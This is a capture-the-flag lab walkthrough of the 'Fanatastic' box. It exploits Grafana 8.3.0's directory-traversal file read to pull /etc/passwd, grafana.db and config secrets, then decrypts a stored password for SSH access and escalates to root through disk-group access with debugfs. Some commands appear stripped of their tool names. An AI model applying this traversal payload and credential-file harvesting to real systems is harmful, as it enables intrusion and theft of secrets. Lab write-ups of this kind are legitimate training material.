Fanatastic Walkthrough

Attacker's Machine:
Victim's Machine:
export IP=192.168.68.181

1. `1000 $IP =5s`
2. `22,3000 $IP=5s results.txt`

22/tcp   open ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?

3. `$IP =100 =5s  1000`

<!-- nothing -->

Vulnerability Assessment

```
$IP3000 vuln=5s
```

Seems to be running Grafana v8.3.0

```
grafana
```

Grafana 8.3.0 - Directory Traversal and Arbitrary File Read |
multiple/webapps/50581.py

```
  http://$IP:3000
```

Read file: /etc/passwd

Search online for Grafana file lists

/etc/grafana/grafana.ini
/conf/defaults.ini
/conf/grafana.ini
/etc/grafana/grafana.ini
/etc/grafana/defaults.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

```
# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
;admin_password = admin

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
```

```
  http://$IP:3000/public/plugins/alertGroups/../../../../../../../../var/lib/grafana/
grafana.db  grafana.db
```

```
1|1|1|prometheus|Prometheus|server|http://localhost:9090||||0|||0|{}|2022-02-04 09:19:59|
2022-02-04 09:19:59|0|{"basicAuthPassword":""}|0|HkdQ8Ganz
```

https://github.com/k1revam/OSCP-Scripts/blob/60cea4b1c4a0b1b08c50618a29cc9fdf7590f0f4/Grafana_decrypt_secret.py

```
 grafana_decrypt_secret.py
```

Password : SuperSecureP@ssw0rd

Remember when you read /etc/passwd , we saw that sysadmin has sh on the system, so let's try to log in in the SSH

```
sysadmin@$IP
```

SuperSecureP@ssw0rd

flag: dc187e0d26645456a06e3436120f5714

Privilege escalation

uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin),6(disk)   // this looks interesting

Find the partitions owned by disk group

```
 /dev -group disk
/dev/btrfs-control
/dev/sda2
/dev/sda1
/dev/sg0
/dev/sda
/dev/loop7
/dev/loop6
/dev/loop5
/dev/loop4
/dev/loop3
/dev/loop2
/dev/loop1
/dev/loop0
```

```
/dev/loop-control

 -h
Filesystem      Size  Used Avail Use% Mounted on
udev            445M     0  445M   0% /dev
tmpfs            98M  1.2M   97M   2% /run
/dev/sda2       9.8G  6.0G  3.4G  65% /
tmpfs           489M  3.8M  485M   1% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           489M     0  489M   0% /sys/fs/cgroup
/dev/loop0       71M   71M     0 100% /snap/lxd/21029
/dev/loop1       56M   56M     0 100% /snap/core18/2284
/dev/loop2       62M   62M     0 100% /snap/core20/1328
/dev/loop3       68M   68M     0 100% /snap/lxd/21835
/dev/loop4       56M   56M     0 100% /snap/core18/2128
/dev/loop5       33M   33M     0 100% /snap/snapd/12883
/dev/loop6       44M   44M     0 100% /snap/snapd/14549
tmpfs            98M     0   98M   0% /run/user/1001
```

Knowing your user is part of the disk group we can use to enumerate the entire disk with effectively root level privileges. We also have full read-write access to the disk block files, so we can extricate these or write arbitrary data to them. With the disk group, we are effectively root, just in a roundabout way. We will explore the partition where the / (root) directory is mounted on in this case /dev/sda2

```
 /dev/sda2
debugfs 1.45.5 (07-Jan-2020)
debugfs:  /etc/shadow          // can't crack the password :(
debugfs:  /root/.ssh/id_rsa

 id_rsa
id_rsa
id_rsa root@$IP
 /root
 /proof.txt            // 39afe04ea47fdacce8c1a3f96c50510a
```